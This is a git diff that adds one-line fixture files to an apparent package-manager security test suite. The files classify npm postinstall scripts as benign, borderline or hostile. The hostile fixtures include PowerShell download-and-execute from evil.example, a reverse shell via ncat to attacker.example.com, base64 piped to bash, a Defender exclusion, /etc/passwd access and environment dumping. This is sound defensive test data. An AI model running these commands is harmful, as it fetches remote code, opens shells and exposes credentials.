index 00000000..c4044b2d --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/adversarial-002-zero-width-joiner.txt @@ -0,0 +1 @@ +tsc‍ diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/adversarial-003-bom-prefix.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/adversarial-003-bom-prefix.txt new file mode 100644 index 00000000..b1cde8e3 --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/adversarial-003-bom-prefix.txt @@ -0,0 +1 @@ +tsc diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/adversarial-004-invoke-expression.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/adversarial-004-invoke-expression.txt new file mode 100644 index 00000000..49060c70 --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/adversarial-004-invoke-expression.txt @@ -0,0 +1 @@ +Invoke-Expression (New-Object Net.WebClient).DownloadString('http://evil.example/x.ps1') diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/adversarial-005-iex-downloadstring.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/adversarial-005-iex-downloadstring.txt new file mode 100644 index 00000000..e0ea2e4d --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/adversarial-005-iex-downloadstring.txt @@ -0,0 +1 @@ +iex ((New-Object Net.WebClient).DownloadString('http://evil.example/x.ps1')) diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/adversarial-006-from-base64-string.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/adversarial-006-from-base64-string.txt new file mode 100644 index 00000000..51d89beb --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/adversarial-006-from-base64-string.txt @@ -0,0 +1 @@ +[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('UG93ZXJTaGVsbA==')) diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/adversarial-007-add-mppreference.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/adversarial-007-add-mppreference.txt new file mode 100644 index 00000000..22b6882e --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/adversarial-007-add-mppreference.txt @@ -0,0 +1 @@ +Add-MpPreference -ExclusionPath C:\Users\victim\AppData diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/adversarial-008-no-space-pipe-bash.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/adversarial-008-no-space-pipe-bash.txt new file mode 100644 index 00000000..2934d8fb --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/adversarial-008-no-space-pipe-bash.txt @@ -0,0 +1 @@ +base64 -d x|bash diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-compound-001-tsc-and-husky.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-compound-001-tsc-and-husky.txt new file mode 100644 index 00000000..0ecb5248 --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-compound-001-tsc-and-husky.txt @@ -0,0 +1 @@ +tsc && husky install diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-compound-002-husky-prisma.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-compound-002-husky-prisma.txt new file mode 100644 index 00000000..721b6b60 --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-compound-002-husky-prisma.txt @@ -0,0 +1 @@ +husky install && prisma generate diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-compound-003-tsc-semi-prisma.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-compound-003-tsc-semi-prisma.txt new file mode 100644 index 00000000..253294ce --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-compound-003-tsc-semi-prisma.txt @@ -0,0 +1 @@ +tsc; prisma generate diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-compound-004-tsc-or-exit.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-compound-004-tsc-or-exit.txt new file mode 100644 index 00000000..5e1e9bda --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-compound-004-tsc-or-exit.txt @@ -0,0 +1 @@ +tsc || exit 1 diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-compound-005-node-and-tsc.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-compound-005-node-and-tsc.txt new file mode 100644 index 00000000..5868e650 --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-compound-005-node-and-tsc.txt @@ -0,0 +1 @@ +node ./scripts/prepare.js && tsc diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-compound-006-cat-pipe-tsc.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-compound-006-cat-pipe-tsc.txt new file mode 100644 index 00000000..c1db8bcb --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-compound-006-cat-pipe-tsc.txt @@ -0,0 +1 @@ +cat input.txt | tsc diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-compound-007-stdout-redirect.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-compound-007-stdout-redirect.txt new file mode 100644 index 00000000..daf24de2 --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-compound-007-stdout-redirect.txt @@ -0,0 +1 @@ +echo "build done" > build.log diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-compound-008-backticks.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-compound-008-backticks.txt new file mode 100644 index 00000000..a1d0535f --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-compound-008-backticks.txt @@ -0,0 +1 @@ +echo "built on `date`" diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-d18-001-playwright-install.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-d18-001-playwright-install.txt new file mode 100644 index 00000000..3ad29211 --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-d18-001-playwright-install.txt @@ -0,0 +1 @@ +playwright install diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-d18-002-playwright-with-deps.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-d18-002-playwright-with-deps.txt new file mode 100644 index 00000000..6f8da0df --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-d18-002-playwright-with-deps.txt @@ -0,0 +1 @@ +playwright install --with-deps diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-d18-003-puppeteer-bare.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-d18-003-puppeteer-bare.txt new file mode 100644 index 00000000..774489ac --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-d18-003-puppeteer-bare.txt @@ -0,0 +1 @@ +puppeteer diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-d18-004-puppeteer-browser-install.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-d18-004-puppeteer-browser-install.txt new file mode 100644 index 00000000..cdf8076d --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-d18-004-puppeteer-browser-install.txt @@ -0,0 +1 @@ +puppeteer-browser install diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-d18-005-cypress-install.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-d18-005-cypress-install.txt new file mode 100644 index 00000000..4c2a7665 --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-d18-005-cypress-install.txt @@ -0,0 +1 @@ +cypress install diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-d18-006-electron-builder-install-app-deps.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-d18-006-electron-builder-install-app-deps.txt new file mode 100644 index 00000000..6a94e67d --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-d18-006-electron-builder-install-app-deps.txt @@ -0,0 +1 @@ +electron-builder install-app-deps diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-d18-007-node-install-js.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-d18-007-node-install-js.txt new file mode 100644 index 00000000..a36ba8bc --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-d18-007-node-install-js.txt @@ -0,0 +1 @@ +node install.js diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-d18-008-node-postinstall-js.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-d18-008-node-postinstall-js.txt new file mode 100644 index 00000000..1c78f002 --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-d18-008-node-postinstall-js.txt @@ -0,0 +1 @@ +node postinstall.js diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-d18-009-node-scripts-install.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-d18-009-node-scripts-install.txt new file mode 100644 index 00000000..37a72e69 --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-d18-009-node-scripts-install.txt @@ -0,0 +1 @@ +node scripts/install.js diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-d18-010-node-dist-install.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-d18-010-node-dist-install.txt new file mode 100644 index 00000000..6c00e388 --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-d18-010-node-dist-install.txt @@ -0,0 +1 @@ +node dist/install.js diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-node-escape-001-parent.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-node-escape-001-parent.txt new file mode 100644 index 00000000..77c677f7 --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-node-escape-001-parent.txt @@ -0,0 +1 @@ +node ../other/build.js diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-node-escape-002-absolute.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-node-escape-002-absolute.txt new file mode 100644 index 00000000..21827484 --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-node-escape-002-absolute.txt @@ -0,0 +1 @@ +node /usr/local/lib/tool.js diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-node-escape-003-tilde.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-node-escape-003-tilde.txt new file mode 100644 index 00000000..ccfa8b02 --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-node-escape-003-tilde.txt @@ -0,0 +1 @@ +node ~/build.js diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-node-escape-004-env-var.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-node-escape-004-env-var.txt new file mode 100644 index 00000000..08b54503 --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-node-escape-004-env-var.txt @@ -0,0 +1 @@ +node $HOME/script.js diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-node-escape-005-no-extension.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-node-escape-005-no-extension.txt new file mode 100644 index 00000000..b48cf840 --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-node-escape-005-no-extension.txt @@ -0,0 +1 @@ +node build diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-novel-001-build-sh.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-novel-001-build-sh.txt new file mode 100644 index 00000000..60455a4b --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-novel-001-build-sh.txt @@ -0,0 +1 @@ +./scripts/build.sh diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-novel-002-python-setup-py.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-novel-002-python-setup-py.txt new file mode 100644 index 00000000..3d7f60b8 --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-novel-002-python-setup-py.txt @@ -0,0 +1 @@ +python setup.py build diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-novel-003-make.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-novel-003-make.txt new file mode 100644 index 00000000..3af55d4f --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-novel-003-make.txt @@ -0,0 +1 @@ +make build diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-novel-004-make-default.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-novel-004-make-default.txt new file mode 100644 index 00000000..8f58e6df --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-novel-004-make-default.txt @@ -0,0 +1 @@ +make diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-novel-005-yarn-build.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-novel-005-yarn-build.txt new file mode 100644 index 00000000..8f56d750 --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-novel-005-yarn-build.txt @@ -0,0 +1 @@ +yarn build diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-novel-006-npm-run-build.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-novel-006-npm-run-build.txt new file mode 100644 index 00000000..d6cb2884 --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-novel-006-npm-run-build.txt @@ -0,0 +1 @@ +npm run build diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-novel-007-node-with-flags.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-novel-007-node-with-flags.txt new file mode 100644 index 00000000..b3bc1f67 --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-novel-007-node-with-flags.txt @@ -0,0 +1 @@ +node --max-old-space-size=4096 build.js diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-novel-008-tsc-watch.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-novel-008-tsc-watch.txt new file mode 100644 index 00000000..27f94745 --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-novel-008-tsc-watch.txt @@ -0,0 +1 @@ +tsc --watch diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-novel-009-bash-custom.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-novel-009-bash-custom.txt new file mode 100644 index 00000000..751e9ec8 --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-novel-009-bash-custom.txt @@ -0,0 +1 @@ +bash scripts/compile.sh diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-novel-010-cmake-build.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-novel-010-cmake-build.txt new file mode 100644 index 00000000..208c8294 --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-novel-010-cmake-build.txt @@ -0,0 +1 @@ +cmake --build build diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-novel-011-gulp.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-novel-011-gulp.txt new file mode 100644 index 00000000..c056c41c --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-novel-011-gulp.txt @@ -0,0 +1 @@ +gulp build diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-novel-012-npx-tsc.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-novel-012-npx-tsc.txt new file mode 100644 index 00000000..4c090c29 --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-novel-012-npx-tsc.txt @@ -0,0 +1 @@ +npx tsc diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-parse-fail-001-unbalanced-quote.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-parse-fail-001-unbalanced-quote.txt new file mode 100644 index 00000000..b9988888 --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-parse-fail-001-unbalanced-quote.txt @@ -0,0 +1 @@ +tsc "unclosed diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-001-tsc.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-001-tsc.txt new file mode 100644 index 00000000..0a875934 --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-001-tsc.txt @@ -0,0 +1 @@ +tsc diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-002-tsc-build.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-002-tsc-build.txt new file mode 100644 index 00000000..85467aa0 --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-002-tsc-build.txt @@ -0,0 +1 @@ +tsc --build diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-003-tsc-b-short.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-003-tsc-b-short.txt new file mode 100644 index 00000000..c8b4522c --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-003-tsc-b-short.txt @@ -0,0 +1 @@ +tsc -b diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-004-tsc-project.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-004-tsc-project.txt new file mode 100644 index 00000000..c32e87b1 --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-004-tsc-project.txt @@ -0,0 +1 @@ +tsc -p tsconfig.json diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-005-tsc-project-long.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-005-tsc-project-long.txt new file mode 100644 index 00000000..ffdbeec2 --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-005-tsc-project-long.txt @@ -0,0 +1 @@ +tsc --project src/tsconfig.json diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-006-node-gyp-rebuild.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-006-node-gyp-rebuild.txt new file mode 100644 index 00000000..e01d35f1 --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-006-node-gyp-rebuild.txt @@ -0,0 +1 @@ +node-gyp rebuild diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-007-node-gyp-rebuild-release.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-007-node-gyp-rebuild-release.txt new file mode 100644 index 00000000..b0be7f1b --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-007-node-gyp-rebuild-release.txt @@ -0,0 +1 @@ +node-gyp rebuild --release diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-008-node-gyp-rebuild-debug.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-008-node-gyp-rebuild-debug.txt new file mode 100644 index 00000000..2b4d555b --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-008-node-gyp-rebuild-debug.txt @@ -0,0 +1 @@ +node-gyp rebuild --debug diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-009-husky-install.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-009-husky-install.txt new file mode 100644 index 00000000..e77735bb --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-009-husky-install.txt @@ -0,0 +1 @@ +husky install diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-010-husky-bare.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-010-husky-bare.txt new file mode 100644 index 00000000..4bddf8ad --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-010-husky-bare.txt @@ -0,0 +1 @@ +husky diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-011-prisma-generate.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-011-prisma-generate.txt new file mode 100644 index 00000000..1310f7b9 --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-011-prisma-generate.txt @@ -0,0 +1 @@ +prisma generate diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-012-electron-rebuild.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-012-electron-rebuild.txt new file mode 100644 index 00000000..eed4f201 --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-012-electron-rebuild.txt @@ -0,0 +1 @@ +electron-rebuild diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-013-node-relative.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-013-node-relative.txt new file mode 100644 index 00000000..0de35dc2 --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-013-node-relative.txt @@ -0,0 +1 @@ +node build.js diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-014-node-relative-dot.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-014-node-relative-dot.txt new file mode 100644 index 00000000..8eb925a4 --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-014-node-relative-dot.txt @@ -0,0 +1 @@ +node ./scripts/build.js diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-015-node-relative-cjs.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-015-node-relative-cjs.txt new file mode 100644 index 00000000..5c3f82f1 --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-015-node-relative-cjs.txt @@ -0,0 +1 @@ +node ./scripts/postbuild.cjs diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-016-node-relative-mjs.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-016-node-relative-mjs.txt new file mode 100644 index 00000000..5e853f0d --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-016-node-relative-mjs.txt @@ -0,0 +1 @@ +node ./lib/setup.mjs diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-017-node-nested-path.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-017-node-nested-path.txt new file mode 100644 index 00000000..8581d26b --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-017-node-nested-path.txt @@ -0,0 +1 @@ +node src/generate.js diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-018-node-dist-file.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-018-node-dist-file.txt new file mode 100644 index 00000000..75e5961a --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-018-node-dist-file.txt @@ -0,0 +1 @@ +node dist/index.js diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-019-node-cjs-root.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-019-node-cjs-root.txt new file mode 100644 index 00000000..81b3796e --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-019-node-cjs-root.txt @@ -0,0 +1 @@ +node prepare.cjs diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-020-node-mjs-root.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-020-node-mjs-root.txt new file mode 100644 index 00000000..f5694719 --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-020-node-mjs-root.txt @@ -0,0 +1 @@ +node runner.mjs diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-chmod-001-ssh-authorized-keys.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-chmod-001-ssh-authorized-keys.txt new file mode 100644 index 00000000..e45f309c --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-chmod-001-ssh-authorized-keys.txt @@ -0,0 +1 @@ +chmod +x ~/.ssh/authorized_keys diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-chmod-002-etc-passwd.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-chmod-002-etc-passwd.txt new file mode 100644 index 00000000..175d4ab4 --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-chmod-002-etc-passwd.txt @@ -0,0 +1 @@ +chmod 777 /etc/passwd diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-eval-001-bare.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-eval-001-bare.txt new file mode 100644 index 00000000..bfaaef2a --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-eval-001-bare.txt @@ -0,0 +1 @@ +eval "$MALICIOUS" diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-eval-002-node-e.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-eval-002-node-e.txt new file mode 100644 index 00000000..86f352c0 --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-eval-002-node-e.txt @@ -0,0 +1 @@ +node -e 'require("fs").readFile("/etc/passwd", console.log)' diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-eval-003-node-long-eval.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-eval-003-node-long-eval.txt new file mode 100644 index 00000000..eb382181 --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-eval-003-node-long-eval.txt @@ -0,0 +1 @@ +node --eval 'console.log(process.env)' diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-nc-001-listen.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-nc-001-listen.txt new file mode 100644 index 00000000..7a570732 --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-nc-001-listen.txt @@ -0,0 +1 @@ +nc -l 8080 diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-nc-002-ncat-exec.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-nc-002-ncat-exec.txt new file mode 100644 index 00000000..b1d8ce83 --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-nc-002-ncat-exec.txt @@ -0,0 +1 @@ +ncat -e /bin/sh attacker.example.com 4444 diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-nested-pm-001-npm.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-nested-pm-001-npm.txt new file mode 100644 index 00000000..d415495a --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-nested-pm-001-npm.txt @@ -0,0 +1 @@ +npm install malware-package diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-nested-pm-002-pip.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-nested-pm-002-pip.txt new file mode 100644 index 00000000..421da48b --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-nested-pm-002-pip.txt @@ -0,0 +1 @@ +pip install requests diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-nested-pm-003-cargo.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-nested-pm-003-cargo.txt new file mode 100644 index 00000000..9773d8c2 --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-nested-pm-003-cargo.txt @@ -0,0 +1 @@ +cargo install ripgrep diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-nested-pm-004-gem.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-nested-pm-004-gem.txt new file mode 100644 index 00000000..13646360 --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-nested-pm-004-gem.txt @@ -0,0 +1 @@ +gem install bundler diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-nested-pm-005-brew.txt 